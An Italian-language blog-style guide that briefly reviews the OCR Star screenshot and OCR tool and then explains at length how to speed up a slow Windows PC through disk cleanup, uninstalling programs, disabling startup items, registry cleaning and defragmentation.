Tra i numerosi programmi free per fare screenshot, oltre ovviamente ai software di editing grafico come Photoshop, GIMP, Photoimpact (fuori produzione ma fantastico, per chi lo conosce), ho scelto questa piccola applicazione portabile per la semplicità di utilizzo e la sua funzione di acquisizione di sequenze di immagini.

ocr-star1

Per installare OCR Star:

Una volta aperto, OCR Star presenta numerose opzioni in un’unica finestra divisa in sezioni. L’applicazione è in grado anche di eseguire il riconoscimento dei caratteri contenuti nell’immagine appena creata e salvare il testo in un file .txt da leggere con Notepad, e infine aprire Google Translate per un’eventuale traduzione.

Per disabilitare le 2 opzioni (OCR e Translate) basta deselezionare le relative spunte nel riquadro OCR Settings, mentre il riquadro Shot Hotkeys serve a definire i tasti di scelta rapida per scattare le screenshot e per avviare l’acquisizione di sequenze (Auto Shot).

  • Impostiamo la modalità di cattura nell’omonimo riquadro, in cui possiamo anche selezionare il formato dell’immagine
  • inseriamo il percorso della cartella di destinazione delle screenshot, o selezioniamolo premendo il pulsante […]. Cliccando su [Esplora] verrà aperta la cartella delle immagini
  • per fare una screenshot e salvarla automaticamente, premiamo i tasti di scelta rapida impostati in precedenza (riquadro Shot Hotkey)
  • se abbiamo scelto la modalità Area, disegniamo un rettangolo intorno all’area da fotografare tenendo premuto il tasto sinistro del mouse, o annulliamo col destro.

Per fare diverse screenshot in sequenza, ad esempio a un video, o mentre giochiamo, OCR Star mette a disposizione la funzione Auto Shot, che permette di scattare automaticamente un’istantanea ogni tot millisecondi, creando una sequenza di immagini che può arrivare quasi a 10 fps:

  • nel riquadro Auto Shot, impostiamo l’intervallo tra una istantanea e l’altra, in millisecondi. Se vogliamo ottenere una screenshot ogni mezzo secondo, inseriamo ad esempio 500
  • inseriamo anche un limite, in secondi, oltre il quale l’acquisizione viene interrotta automaticamente. La cosa è piuttosto utile perché se dovessimo dimenticarci di fermare la “registrazione”, il programma andrebbe avanti all’infinito fino a saturare l’hard disk !
  • premiamo ora l’hotkey per avviare l’acquisizione (area Shot Hotkey, seconda riga) e attendiamo qualche secondo
  • premiamo nuovamente i tasti di scelta rapida per arrestare l’acquisizione e poi clicchiamo sul pulsante [Esplora] per vedere il risultato

Volendo è possibile fare il riconoscimento dei caratteri contenuti in una screenshot: automaticamente, abilitando l’opzione OCR, o manualmente, premendo il pulsante Esegui OCR. E’ anche possibile trascinare un’immagine esistente nel riquadro in basso a destra per poterne riconoscere i caratteri senza dover fare una screenshot apposita.

Premiamo poi il pulsante [Traduci], dopo aver precedentemente selezionato la lingua di origine in cui è scritto il documento, per aprire Google Translate e tradurre il risultato della scansione.

 

Computer sempre più lento ? Facciamolo respirare con un po’ di manutenzione !

Ultimamente il computer della mia dolce metà ha iniziato a fare storie, avviandosi pigramente in più del doppio del tempo, rallentando vistosamente durante la navigazione, laggando durante le partite a The Elder Scrolls Online e così via.

A colpo d’occhio sembrava tutto ok: nessun virus segnalato da Kaspersky Antivirus, nessuna toolbar indesiderata nei browser, niente popup e un bel po’ di spazio libero nei due hard disk. Eppure anche subito dopo un riavvio il PC sembrava già “affaticato”, così impegnato durante il primo minuto da non riuscire ad aprire neppure la cartella documenti, sul desktop. Inoltre programmi che si sono sempre comportati bene, come Windows Live o lo stesso Explorer, hanno iniziato a bloccarsi rendendo inaffidabile l’intero sistema.

PERCHÈ IL COMPUTER RALLENTA ?

Indipendentemente dal tipo di hardware e dalla versione di Windows, dopo qualche tempo i computer iniziano sempre a perdere colpi, soprattutto se si ha l’abitudine di navigare molto, guardare video in streaming, provare svariati giochi e programmi e, insomma, sfruttare il pc come si deve. Questi rallentamenti, più o meno importanti, sono spesso dovuti al carico di lavoro che deve affrontare Windows per eseguire i programmi.

In una situazione normale il sistema operativo legge un programma dal disco, lo carica nella memoria ram e lo esegue; poi carica tutte le sue dipendenze (librerie, script, database, file …), sempre “spostandosele” dall’hard disk alla ram, e finalmente lo rende disponibile all’utente, aprendo la sua finestra a video. La cosa è piuttosto lineare, come se in un giorno di vacanza decidessi di leggere un libro e andassi a prenderlo in biblioteca per godermelo comodamente sul divano del mio salotto.

Ma se proprio quel giorno, non avendo riordinato la camera dovessi andare alla ricerca dei vestiti ? E se fuori ci fosse una processione o un traffico infinito, o se la biblioteca per assurdo fosse così enorme che per andare alla Z del mio libro preferito, “Lo Zen e l’arte della manutenzione della motocicletta“, rimpiangessi di non esserci entrato in bici ? E ancora, se il libro fosse insieme agli altri in una cesta tipo quelle delle offerte dei supermercati e dovessi cercarmelo ? Poi, finalmente sul divano con la mia lettura, potrei anche scoprire di dover leggere due volte le cose perché ho la testa piena di pensieri … Insomma a fine giornata finirei per aver letto a malapena il primo capitolo !

Ed è più o meno questo ciò che succede al nostro PC:

  • per preparare un programma all’esecuzione si ritrova a cercare i pezzi dei suoi file in giro per il disco, perché non sono mai stati riordinati: questo problema deriva dalla frammentazione dei file sull’hard disk;
  • al momento dell’esecuzione di un’applicazione, ha una tale coda di cose da fare che si trova costretto a dare fondo a tutte le sue risorse per avvicendarsi tra un programma e l’altro dovendo dar retta anche all’utente: i numerosi programmi in background occupano la memoria ram e il processore, lasciando meno spazio a quelli in primo piano;
  • alcune operazioni vengono salvate e lette in file temporanei in speciali cartelle che a volte crescono fino a diventare troppo enormi da catalogare in tempi brevi: i cookie e i file temporanei vanno tenuti sotto controllo;
  • alcune informazioni delle applicazioni vengono salvate nei registri di sistema, un grosso database cui Windows accede di continuo: più questo è grande e pieno di informazioni, più tempo il sistema ci metterà a trovarle.

In generale l’utilizzo prolungato del PC, senza un’adeguata manutenzione, può portare quindi ad avere questi problemi:

  • frammentazione degli hard disk (non valido per gli SSD)
  • troppi programmi in background, widget e toolbar
  • cartelle temporanee e disco in generale troppo pieno
  • registri di sistema non ottimizzati per una rapida lettura

Questo surplus di informazioni, spesso inutili e organizzate in modo disordinato, è causato in parte da come Windows gestisce le cose, e in parte da quanto l’utente sfrutta il suo PC, quanta manutenzione fa e quanti programmi installa.

Si pensi alle iconcine vicino all’orologio di Windows: quante ce ne sono ? Antivirus, Skype, Steam, widget vari, Adobe e Java Updater, il cloud, il programma della stampante, quello di backup, quello per la masterizzazione e chi più ne ha più ne metta ! Tutte applicazioni che partono all’avvio di Windows, e magari ognuna di esse è spezzettata per l’hard disk o richiede informazioni da prelevare da registri di sistema colmi di “chiavi” inutili.

PULIZIA DEL DISCO DI SISTEMA

La prima cosa da fare è far respirare un po’ il disco C:.

Se lo spazio libero è limitato, ad esempio 20 GB o meno (o meno del 10% dello spazio totale) conviene prima liberare le cartelle documenti e il desktop dai file inutili, e/o spostarli su un secondo hard disk. Avere più spazio disponibile significa velocizzare le operazioni di manutenzione, ottimizzazione e ricerca dei problemi e dei virus. Inoltre è consigliabile tenere i propri documenti su un disco differente in modo da metterli al riparo da eventuali guasti del disco di sistema (il più stressato) e facilitare un’eventuale deframmentazione di C:.

Iniziamo con la pulizia degli hard disk per poi passare all’ottimizzazione di sistema e alla deframmentazione del disco

Come primo strumento consiglio la funzione Pulizia disco di Windows, che permette di selezionare ciò che si vuole cancellare visualizzandone anche le dimensioni e una descrizione. E’ piuttosto utile per capire cosa si sta andando a cancellare e la sua funzione principale.

Pulizia Disco

  • cliccare su Start e digitare “pulizia disco” nel campo di ricerca
  • cliccare ora sul primo risultato Pulizia disco, selezionare l’unità da pulire e premere [OK]
  • attendiamo che Windows faccia i suoi calcoli …
  • nella finestra Pulizia disco, selezionare gli elementi da cancellare e premere [OK]

pulizia-disco

 

Piriform CCleaner

Un prodotto gratuito molto utilizzato e, secondo me piuttosto valido è CCleaner della Piriform. Esegue una pulizia approfondita dei file temporanei, permette di ripulire i registri di sistema e ha anche alcuni strumenti utili per disinstallare i programmi o modificare quelli che partono all’avvio del computer. Dalla versione 5 CCleaner è in grado di restare sempre attivo e mantenere puliti disco e registri senza interventi da parte dell’utente.

Ovviamente non è l’unico, e alcune sue funzioni possono essere svolte in maniera più approfondita (e rischiosa, a volte) da altri ottimi software. Ad esempio IObit Uninstaller è un ottimo programma per disinstallare anche forzatamente i programmi e le toolbar, che esegue una ricerca nel disco e nei registri di sistema ed elimina ogni traccia del programma disinstallato. Wise Registry Cleaner è un altro ottimo programma gratuito per la pulizia dei registri di sistema, in grado di identificare le chiavi corrotte, duplicate o inutili ed ottimizzare i registri in modo piuttosto efficace.

  • scarichiamo CCleaner da qui: www.piriform.com/ccleaner/download e installiamolo lasciando le opzioni di default. Volendo è possibile selezionare la cartella di destinazione e installarlo su un diverso hard disk
  • finita l’installazione apriamolo facendo doppio click sulla sua icona sul desktop
  • a sinistra c’è il menù principale: Pulizia, Registro, Strumenti, Opzioni e Upgrade. All’avvio CCleaner presenta la finestra Pulizia che è anche quella che serve a noi
    ccleaner
  • se il programma non è in italiano, clicchiamo su Options e a sinistra su Settings (la prima voce in alto), e selezioniamo la lingua Italiana. Clicchiamo poi su Pulizia per tornare alla finestra precedente
  • subito sulla destra del menù abbiamo la colonna di selezione degli elementi da cancellare; è possibile selezionare qualsiasi elemento senza rischi, ma pulendo ad esempio le password salvate, dovremo poi digitarle nuovamente al prossimo accesso sul relativo sito. La voce finale “bonifica spazio libero” è invece un’operazione un po’ lunga e non sempre utile perché va a scrivere degli zeri in tutto lo spazio libero del disco, in modo da eliminare definitivamente ogni traccia dei dati già cancellati.
  • premendo il pulsante [Analizza] verrà fatta un’analisi dei file da cancellare. Durante questa operazione è necessario chiudere il browser per permettergli di catalogare i file temporanei e i cookie. Su un PC con anni di funzionamento e mai pulito, l’analisi potrebbe metterci anche 1 ora … non vorrei spaventare nessuno ma mi è capitato più di una volta di lanciarla di sera e trovarla ancora al 50% la mattina dopo ! Sul mio PC, che pulisco ogni mese più o meno, ci mette 1 minuto al massimo.
  • premiamo ora il pulsante Avvio pulizia per far partire la fase di cancellazione dei file e attendiamo che finisca di lavorare. Durante questa fase è possibile lavorare ma ad un certo punto CCleaner ci chiederà di chiudere il browser.

OTTIMIZZAZIONE DEL DISCO E DEL SISTEMA

1 – Mettiamo i documenti in salvo

Con Windows è possibile spostare le cartelle utente (documenti, video, musica, immagini e persino il desktop) in una posizione differente dall’originale, che si trova nel disco C: (c:\users\<nome-utente>\Documenti, ad esempio), senza che sul desktop cambi nulla. Basta aprire la cartella dell’utente, cliccare il tasto destro su ogni sotto cartella che si vuole spostare, e selezionare Proprietà; cliccando sulla scheda Percorso è possibile inserire il nuovo path della cartella. archiviazione2

Ad esempio, se abbiamo un disco dati E:, basta sostituire “C:” con “E:” e premere [OK] perché Windows crei il nuovo percorso nel disco E: . Fatto ciò, i nostri documenti verranno spostati nel disco secondario liberando spazio su C: .

Infine, se abbiamo lasciato il desktop su C:, converrebbe spostare tutti i nostri file nelle cartelle corrette. Documenti World, Pdf, video, mp3 e immagini possono essere spostati nelle giuste cartelle, e poi linkati sul desktop, se li si vuole a portata di mano.

Mettere in ordine i propri documenti semplifica anche eventuali operazioni di backup su disco esterno o su Cloud.

2 – hiberfil.sys: ci serve davvero ?

Se non usiamo la funzione di ibernazione del computer, possiamo recuperare 3 o più giga di spazio sul disco C:. L’ibernazione infatti salva lo stato della macchina in un grosso file nascosto nella radice del disco di sistema (C:\hiberfil.sys): è possibile vederlo solo attivando la visualizzazione dei file nascosti e protetti di sistema.

Per eliminare questo file basta utilizzare un semplice comando da digitare da riga di comando (una finestrella “dos”) con privilegi di amministratore:

  • cliccare su Start > Tutti i programmi > Accessori *
  • cliccare col pulsante destro del mouse su Prompt dei comandi e selezionare Esegui come amministratore *
  • all’apertura della console di comando, digitare powercfg -h off e premere invio.
  • il file è stato cancellato: digitare “exit” o chiudere la finestra con la [x]

* per aprire il prompt è possibile anche cercare “cmd.exe” nel campo di ricerca del menù Start.

dos-powercfg

Per riabilitare l’ibernazione, basterà digitare powercfg -h on.

3 – Disinstalliamo i programmi inutili

Siamo sicuri di utilizzare tutti i programmi che abbiamo installato sul nostro PC ? E siamo altrettanto sicuri che nessuno di quei programmi abbia installato applicazioni secondarie di cui ignoriamo persino l’esistenza ? Direi che vale la pena dare un’occhiata allora !

Posso proporre tre modi differenti per elencare i programmi installati ed eliminare quelli inutili:

  • Programmi e funzionalità di Windows
  • CCleaner uninstaller
  • IOBit Uninstaller

Programmi e funzionalità

ha il vantaggio di poter visualizzare anche gli aggiornamenti installati e permettere di disattivare/attivare le funzionalità di Windows. Per accedervi basta cliccare su Start > Pannello di controllo, e poi sulla voce Programmi e funzionalità. Consiglio di impostare la visualizzazione dei programmi del pannello di controllo con “icone grandi/piccole” evitando l’opzione “categorie” che secondo me complica la ricerca dello strumento che ci serve.

Cliccando il tasto destro del mouse su un programma e selezioniamo disinstalla per avviare la procedura di disinstallazione.

programmi-e-funzionalita

CCleaner uninstaller

è semplicemente una funzione di CCleaner alternativa a quella di Windows. Se lo abbiamo già installato, facciamolo partire e clicchiamo su Strumenti nel menù di destra. Anche qui basta selezionare il programma e premere su [Disinstalla].

ccleaner-uninstaller

 

IObit Uninstaller

A differenza dei primi questo tool due aggiunge alcune funzioni per la rimozione approfondita e forzata delle applicazioni e relative dipendenze. In pratica dopo aver disinstallato un programma, esegue una ricerca di tutti i file, le cartelle e le voci di registro ad esso connesse, e le elimina previa approvazione dell’utente. Inoltre se un programma non vuole disinstallarsi restituendo errori o peggio, impedendo all’utente di rimuoverlo, IObit Uninstaller è capace di eliminarlo definitivamente cancellando tutte le sue dipendenze.

  • scarichiamo IObit Uninstaller da qui: www.iobit.com/it/advanceduninstaller.php e installiamolo
  • nella prima finestra dell’installazione, deselezioniamo l’opzioneInstalla Advanced SystemCare per ottimizzare il PC con 1-Click” o qualsiasi altra che ci viene proposta, mentre lasciamo selezionata la spunta relativa ai termini di licenza
  • finita l’installazione, doppio click sull’icona per aprire il programma. Il menù è piuttosto completo ma molto semplice: a sinistra le categorie di programmi (applicazioni, toolbar, gestione di Windows e strumenti) e in centro l’elenco dei programmi installati.
  • clicchiamo col destro sul programma da rimuovere e selezioniamo “disinstalla”
  • per la disinstallazione forzata bisogna selezionare il programma e cliccare in alto, sulla destra, sul cestino.
  • a fine installazione IObit Uninstaller ci chiederà se vogliamo trovare e rimuovere anche tutte le dipendenze, per eliminare tutte le tracce del programma dal sistema. Così facendo verranno cancellate anche le voci di registro e i files utili a ripristinare eventualmente l’ultima configurazione in caso di reinstallazione, quindi valutiamo bene il da farsi.

IObit-uninstalller1

 

4 – Disabilitiamo i programmi in background

Come accennato prima, Windows è composto da tantissimi programmi “invisibili” che ne gestiscono le varie funzionalità. In più, tanti altri li installiamo noi, a volte senza neanche rendercene conto.

Qualche esempio: Skype, Dropbox, Steam, Nero, Office e programmi simili si attivano all’avvio di Windows, in parte per essere già attivi e pronti all’uso, come Skype, e in parte per poter almeno gestire rapidamente alcune richieste legate alle sue funzionalità, come Nero o Open Office. Steam parte in modo da poter aggiornare i giochi mentre lavoriamo, e Dropbox per potersi allineare subito con il Cloud.

Adobe, Java, nVidia e altre applicazioni installano gli “updater”, che sono sempre attivi e ricevono le notifiche degli aggiornamenti da Internet, per poi poterli proporre all’utente, mentre solitamente i driver della stampante installa anche una suite che comprende un programma in background che monitora il stato della stampante, propone aggiornamenti e gestisce il pool di stampa insieme a Windows.

Skype, Steam e altri hanno un’opzione apposita nel menù impostazioni, con cui disabilitare la partenza all’avvio di Windows, mentre molti non prevedono questa possibilità.

app-in-background

Molti programmi in background sono visibili cliccando sulla freccina vicino all’orologio di Windows, in basso a destra. Se poi clicchiamo col pulsante destro su un’iconcina, solitamente appare un menù con cui è possibile chiudere l’applicazione, oltre che richiamare le sue diverse funzionalità.

Tanti altri programmi non sono invece visibili con la funzione “Mostra icone nascoste” appena vista, dunque è necessario usare una funzione particolare, con cui sarà possibile anche disattivarne l’esecuzione.

Sia CCleaner sia Windows ci offrono la possibilità di disattivare l’esecuzione dei programmi in background in modo che possiamo decidere di non caricare il sistema all’avvio, ed eseguirli manualmente quando necessario. L’iconcina di Office, piuttosto che quella della stampante o di Adobe, ad esempio, rappresentano applicazioni che in ogni caso partono quando apriamo un pdf, un documento Word, o lanciamo una stampa. nVidia ci propone gli aggiornamenti, ma possiamo sempre andare sul sito dei driver una volta ogni tot mesi a dare un’occhiata, risparmiando a Windows l’esecuzione di tutti questi widget.

Quando disabilitiamo un programma in background, non lo stiamo cancellando, ma andiamo solo a scrivere nei registri di sistema che quel programma non va eseguito alla partenza di Windows.

CCleaner, strumento “Avvio”

Prima di iniziare: stiamo per mettere mano ai registri di sistema, anche se in modo trasparente e decisamente poco pericoloso, ma consiglio comunque di creare un punto di ripristino e poi proseguire con l’ottimizzazione.

Anche qui CCleaner ci viene in aiuto. E’ il metodo più semplice dei due, e più guidato, ma non offre l’accesso ai servizi di Windows. Alcuni programmi hanno infatti compiti speciali e si registrano come servizi: sono di un livello superiore ai programmi, più “vicini” al sistema operativo e definitivamente invisibili. Spesso un servizio va a supporto di un programma in background, come quelli della stampante, nVidia GeForce Experience o Comodo Backup, e sono quelli che potrebbero interessare a noi.

In ogni caso CCleaner ci permetterà di disabilitare la maggior parte dei programmi all’avvio che ci sembrano inutili.

ccleaner-avvio

  • Se abbiamo già installato CCleaner, eseguiamolo e clicchiamo su Strumenti, nel menù a sinistra, e su Avvio, nel menù centrale
  • nella finestra centrale verranno elencate le voci di registro che hanno il compito di avviare i programmi. Ogni voce riporta il nome dell’applicazione e il relativo file che deve essere eseguito: selezioniamo ad esempio AdobeAAMUpdater, o Dropbox Update, Steam o un altro programma di aggiornamento e premiamo su Disattiva.
  • per provare la nostra nuova configurazione, chiudiamo CCleaner e riavviamo il PC. Ad avvio ultimato verifichiamo le icone nascoste per constatare che il programma non sia effettivamente partito, o cerchiamolo usando il Task Manager (Ctrl-Alt-Canc > Gestione attività).

Configurazione di Sistema (msconfig)

Msconfig è un modulo di Windows che permette di gestire l’avvio del sistema: da quale partizione partire, in quale modalità e quali servizi e programmi eseguire. E’ utile per avviare il PC in modalità provvisoria (Opzioni di avvio > Modalità provvisoria), per eseguire altri tool di sistema di Windows (scheda Strumenti) o per far scegliere quali servizi eseguire (scheda Servizi / Avvio / Generale).

msconfig1

  • Clicchiamo su Start e digitiamo msconfig nel campo di ricerca, poi clicchiamo su msconfig.exe, oppure premiamo i tasti [windows] + [R] sulla tastiera per aprire la finestra Esegui, digitiamo msconfig e premiamo [OK]
  • nella finestra Configurazione di sistema clicchiamo sulla scheda Avvio e osserviamo l’elenco che appare: sono più o meno i programmi elencati precedentemente da CCleaner.
  • togliamo la spunta da quelli che riteniamo inutili
  • passiamo ora alla scheda Servizi e mettiamo la spunta sull’opzione Nascondi tutti i servizi Microsoft per evitare di disabilitare un servizio essenziale
  • anche qui eliminiamo i servizi che ci sembrano superflui evitando di disabilitare quelli di cui non conosciamo l’origine o la funzione. Un ottimo modo per capire a che servono alcuni servizi è quello di fare una ricerca su Google 🙂
  • infine clicchiamo sulla scheda Generale e osserviamo le opzioni di avvio: invece di “Avvio normale” ora è selezionato “Avvio selettivo“, perché abbiamo disabilitato alcuni elementi di avvio

msconfig2

  • premiamo [OK] e scegliamo se riavviare subito il PC o farlo dopo. Una volta riavviato, controlliamo le nostre icone nascoste, che a questo punto saranno sempre di meno !

PULIZIA DEI REGISTRI DI SISTEMA

Dopo aver pulito per bene il disco e disinstallato i programmi inutili, ora è il turno dei registri di sistema. La disinstallazione di toolbar e applicazioni lascia sempre qualche strascico, per non parlare di Windows update. Anche qui CCleaner ci viene in aiuto con un’operazione di pulizia davvero efficace, ma per andare oltre, ottimizzarli e trovare le chiavi più nascoste e delicate, possiamo usare Wise Registry Cleaner.

CCleaner: pulizia registri

ccleaner-registri

Se CCleaner è già installato, passiamo subito alla sezione dei registri, aprendo il programma e cliccando su Registro nel menu di destra. Clicchiamo poi sul pulsante azzurro in basso [Trova problemi] e attendiamo che CCleaner finisca la scansione. E’ possibile anche deselezionare la voci che non si vogliono cancellare togliendo la relativa spunta. Ora clicchiamo su [Ripara selezionati], in basso a destra, e successivamente decidiamo se fare il backup dei registri prima che vengano ottimizzati: verrà salvato un file con estensione “.reg” che può essere importato nei registri per ripristinare le chiavi eliminate. CCleaner ci chiederà la conferma per ogni chiave cancellata, includendo anche una sua descrizione, ma cliccando su [Ripara selezionati] l’operazione verrà portata a termine senza più conferme.

Wise Registry Cleaner

Questo programma è decisamente più potente del primo, permette di capire il livello di sicurezza della cancellazione delle chiavi e di fare il backup dei registri e ripristinarlo in caso di ripensamenti.

  • Scarichiamo Wise registry Cleaner da qui:
    www.wisecleaner.com/wise-registry-cleaner.html
  • procediamo con l’installazione facendo attenzione a rifiutare qualsiasi offerta che ci viene fatta, cliccando sul pulsante [Decline] o deselezionando eventuali opzioni
  • a fine installazione eseguiamolo e quando richiesto, approfittiamone per farci fare un backup dei registri o un punto di ripristino: lo farà WRC per noi
  • clicchiamo ora sul pulsante centrale [Scansione approfondita] e attendiamo i risultati
  • ogni icona azzurra rappresenta una tipologia di chiavi con relativi errori rilevati: cliccando su una di esse apparirà la finestra dei dettagli che elenca le chiavi ritenute corrotte e, selezionandone una è possibile vederne la descrizione. Le chiavi non selezionate sono quelle che WRC ritiene sia meglio non cancellare.
  • premiamo il pulsante verde [Pulizia] per avviare la pulizia dei registri.

wise-registry-cleaner

Facendo prima una pulizia con CCleaner e poi una scansione con Wise Registry Cleaner, potremo verificare quanti problemi in più è in grado di rilevare e sistemare quest’ultimo.

DEFRAMMENTAZIONE DEI DISCHI

Nota: da non eseguire sui dischi SSD !!

Un’ultima operazione importante è la deframmentazione dei dischi, soprattutto quello di sistema. Ora che abbiamo cancellato tantissimi file inutili, e spostato su un secondo disco o partizione i nostri documenti (non indispensabile), possiamo riorganizzare i dati in modo che Windows non faccia fatica a leggerli.

In parole tanto semplici quanto imperfette, i file sono fatti da tanti byte in sequenza come una parola è fatta di lettere, e vengono salvati sull’hard disk uno dopo l’altro, in fila. Quindi se ho un file grosso 100 byte, uno da 20 e uno da 50, sul disco verranno occupati 170 byte. Se poi cancello il secondo file, liberando 20 byte, il disco sarà così gestito: i primi 100 byte occupati dal primo file, i 20 successivi liberi, e i 50 seguenti occupati dal terzo file. Se subito dopo decido di copiare un nuovo file sul disco, come un’immagine che pesa 80 byte, questa non verrà salvata in un settore da 80 byte liberi del disco, ma verrà spezzata in modo da occupare i primi 20 byte liberi e i successivi 60, subito dopo il terzo file.

Una speciale tabella nell’hard disk (Master File Table o MFT, per le partizioni NTFS) si occuperà poi di gestire l’intero elenco di file e cartelle memorizzate sul disco, e relative posizioni.

Un file frammentato significa che potrebbe essere composto da 2, 3 o persino 10 o 20 pezzi in giro per il disco, e quando Windows deve leggerlo, gli tocca leggere l’indice (TOC), individuarne tutti i pezzi e recuperarli uno alla volta. Gli hard disk sono meccanici e composti da un piattello che gira vorticosamente (5.400 giri/min, o 7.200 e persino 10.000 giri) e da una “testina” con un lettore laser che va su e giù, dall’esterno del piattello verso l’interno. Sta a voi immaginare quanti movimenti in più deve fare la testina, e quanto tempo perso a mettere insieme i frammenti !

Proprio per le differenze costruttive tra hard disk e “disco” SSD, questi ultimi non vanno deframmentati. Oltre ad assicurare solo un certo numero di letture e scritture, oltre il quale un SSD diventa inaffidabile, questi dischi non hanno parti meccaniche pertanto la latenza causata dal recupero dei pezzi di file è praticamente pari a zero. Deframmentare un SSD ne riduce il ciclo vitale e non produce un incremento di prestazioni evidenziabile.

Al contrario, quando un disco di sistema è esageratamente frammentato, una deframmentazione approfondita assicura un evidente aumento di prestazioni del sistema operativo, oltre a migliorare la stabilità dei programmi. Le latenze tra un’operazione e l’altra diminuiscono, la maledetta rotellina di attesa si fa vedere meno, i giochi partono prima e con prestazioni migliori e a volte alcuni programmi smettono “magicamente” di crashare.

Recentemente mi è capitato di deframmentare in PC con ben 20 GB di email archiviate, e come per incanto Windows Live ha spesso di impazzire nel tentativo di caricare il milione di email frammentate come coriandoli in giro per il disco.

Utilità di deframmentazione dischi di Windows

Anche in questo caso Windows mette a disposizione un tool per ottimizzare gli hard disk.

defrag-win1

  • Apriamo Gestione Risorse e visualizziamo l’elenco degli hard disk (doppio click sull’icona Computer, sul desktop o nel menù Start)
  • cliccando il tasto destro del mouse sul disco da deframmentare (es. C:), selezioniamo Proprietà per aprire l’omonima finestra
  • selezioniamo ora la scheda Strumenti e clicchiamo sul pulsante [Esegui Defrag]
  • nella finestra che segue facciamo partire la deframmentazione: durante l’operazione di ottimizzazione è possibile continuare a lavorare. Inoltre, la procedura può essere sospesa per poi terminarla del tutto o riprenderla più avanti. In ogni caso il lavoro svolto fino a quel momento non viene perso del tutto perché i file ottimizzati resteranno comunque deframmentati e non verranno più toccati.

Auslogics Disk Defrag

L’utilità di Windows è funzionale ma non permette di avere la situazione sotto controllo, capire cosa viene fatto e verificarne l’efficacia. Diversi programmi free sanno fare la stessa cosa, spesso meglio e in modo trasparente e intuitivo. Unico neo: la versione free pare essere sono in inglese.

La cosa vale anche per Auslogics Disk Defrag, ottima suit che si integra con Windows, lavora in background e consente di decidere cosa frammentare, e soprattutto capire quali file non si riesce a deframmentare, in modo da poter valutare se cancellarli, ricrearli o lasciarli come stanno.

  • Scarichiamo Disk Defrag da qui:
    www.auslogics.com/en/software/disk-defrag
  • installiamolo selezionando l’opzione Custom Install (advanced) in modo da poter togliere la spunta da Install Auslogics BoostSpeed ed eventualmente cambiare la cartella di destinazione
  • a fine installazione eseguiamolo e osserviamo la finestra principale: in alto sono elencati gli hard disk con la possibilità di escluderli dalla deframmentazione; se un disco è SSD lo si vede dall’elenco e basta deselezionarlo. Subito sotto si trova il pulsante [Defrag] che ha anche un menù  a tendina dove è possibile scegliere Analyze e analizzare i dischi prima di deframmentarli. Al centro abbiamo la rappresentazione grafica dei file salvati sul disco selezionato: ogni quadratino rappresenta un blocco di file e il suo colore ne definisce lo stato. Verde per ok, rosso per frammentato, grigio per non deframmentabile, e così via. Infine nella parte bassa ci sono le varie schede per i dettagli dei blocchi selezionati, ed altre funzioni di diagnostica, come S.M.A.R.T. . Tutte le opzioni, fatta eccezione di quest’ultima e del defrag implicano l’acquisto della licenza.
  • selezioniamo i dischi da analizzare, clicchiamo sul triangolino nella parte sinistra del pulsante [Defrag] e avviamo l’analisi (Analyze) per vedere lo stato del disco. A fine analisi, sulla destra di ogni disco verrà riportata la percentuale di frammentazione
  • Infine premiamo su [Defrag] per far partire l’operazione di deframmentazione.

auslogics-disk-defrag

Il programma potrebbe poter lavorare delle ore, se non tutto il giorno o più: sebbene si possa continuare a lavorare, in fase di manutenzione intensiva e quando il PC necessita di una deframmentazione consistente, sarebbe meglio farlo di notte lasciandolo lavorare tranquillamente. Inoltre in questi casi sarà necessario fare più deframmentazioni, fino a portare a zero la percentuale di file frammentati.

Per un risultato ancora migliore possiamo selezionare l’opzione Defrag & optimize dal menu a tendina del pulsante [Defrag]: l’operazione sarà più lenta ma i file verranno ordinati per ottimizzarne al massimo la lettura.

Auslogics Disk Defrag può lavorare anche in background: una volta terminata la prima e massiccia deframmentazione, apriamo il programma e clicchiamo sul menù in alto Settings > Scheduler. Abilitiamo l’opzione Defragment automatically e scegliamo quando, quali dischi e se eseguire l’operazione anche quando il PC è alimentato a batteria, quando si esegue un programma a schermo intero (mentre si gioca o si guarda un film è meglio sospenderla) e se creare un report.

Deframmentazione approfondita in modalità provvisoria

I programmi che deframmentano i dischi cercano di spostare i file finché non riescono a ricostruirli senza frammenti. Ciò significa che se un file è in uso, non potrà essere deframmentato.

Non usare il computer però non basta a “liberare” tutti i file, perché molti appartengono a moduli di Windows e a programmi in background. Spesso questi file sono piuttosto grandi e soprattutto sono proprio quelli più usati, che si vorrebbe deframmentare per velocizzarne la lettura !

Un’ottima soluzione quindi sarebbe quella di evitare che vengano eseguiti, e per farlo ci basta riavviare Windows in modalità provvisoria. In questa modalità il sistema carica solo i driver indispensabili per il suo funzionamento, evitando programmi in background, widget, driver di periferiche e applicazioni varie.

Per avviare il PC in modalità provvisoriaeseguiamo msconfig, clicchiamo sulla scheda Opzioni di avvio e mettiamo la spunta su Modalità provvisoria, selezionando l’opzione Minima. Poi premiamo [OK] e riavviamo il PC.

msconfig3

Una volta in modalità provvisoria facciamo un giro o più di deframmentazione/ottimizzazione e riavviamo nuovamente il computer per caricare Windows in modalità normale. Se non dovesse succedere, per uscire dalla modalità provvisoria riapriamo msconfig e deselezioniamo l’opzione precedentemente attivata.

Deframmentazione di pagefile.sys

La memoria virtuale è un grosso file sul disco che Windows usa quando si satura la ram. La dimensione di questo file può essere decisa dal sistema sul momento, oppure fissa e impostata dall’utente in modo che venga creato una sola volta e sia delle dimensioni desiderate.

Solitamente pagefile.sys è delle stesse dimensioni della ram installata, quindi se abbiamo 8 GB di ram, il file sarà di altrettanti GB. Quando questo viene creato in un disco già pieno e frammentato, viene scritto in blocchi non contigui, ovvero in più frammenti, coinvolgendo anche altri pezzi di altri file che occupano parte degli stessi blocchi. Il risultato è una memoria virtuale lenta e non ottimizzata, e diversi altri file non deframmentabili.

Per poter vedere pagefile.sys è necessario prima abilitare la visualizzazione dei file nascosti e protetti di sistema. Per farlo, apriamo una finestra di Explorer (Documenti, ad esempio), premiamo [Alt] per far apparire la barra dei menù a tendina, e clicchiamo su Strumenti > Opzioni cartella per far apparire l’omonima finestra. Clicchiamo ora sulla scheda Visualizzazione e cerchiamo le due opzioni in elenco: “Visualizza cartelle, file e unità nascoste” e “Nascondi i file protetti di sistema“. Selezioniamo la prima e togliamo la spunta dalla seconda, confermando eventuali avvisi di Windows, e premiamo [OK] per chiudere la finestra.

opzioni-cartella

